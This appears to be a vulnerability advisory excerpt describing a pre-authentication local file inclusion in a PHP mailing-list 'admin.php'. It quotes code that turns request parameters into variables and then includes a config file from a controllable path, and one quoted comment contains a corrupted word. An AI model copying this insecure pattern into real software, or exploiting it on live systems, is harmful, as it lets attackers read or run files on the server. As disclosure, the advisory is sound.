- Vulnerability:  
####################  
  
+--> Local File Inclusion  
  
Because of the vulnerability in "admin/index.php", When   
"register_globals" is disabled (Default PHP Configuration) It is   
possible for remote attackers to  
include arbitrary files from local resources before performing authentication.  
  
Code Snippet:  
/lists/admin.php #line:10-18  
  
if (!ini_get("register_globals") || ini_get("register_globals") == "off") {  
# fix register globals, for now, should be phased out gradually  
# sure, this gets around the entire reason that   
regLANGUAGE_SWITCHister globals  
# should be off, but going through three years of code takes a long time....  
  
foreach ($_REQUEST as $key => $val) {  
$$key = $val;  
}  
}  
  
/lists/admin.php #line:41-56  
  
if (isset($_SERVER["ConfigFile"]) && is_file($_SERVER["ConfigFile"])) {  
print '<!-- using '.$_SERVER["ConfigFile"].'-->'."\n";  
include $_SERVER["ConfigFile"];  
} elseif (isset($cline["c"]) && is_file($cline["c"])) {  
print '<!-- using '.$cline["c"].' -->'."\n";  
include $cline["c"];  
} elseif (isset($_ENV["CONFIG"]) && is_file($_ENV["CONFIG"])) {  
# print '<!-- using '.$_ENV["CONFIG"].'-->'."\n";  
include $_ENV["CONFIG"];  
} elseif (is_file("../config/config.php")) {  
print '<!-- using ../config/config.php -->'."\n";  
include "../config/config.php";  
} else {  
print "Error, cannot find config file\n";  
exit;  
}
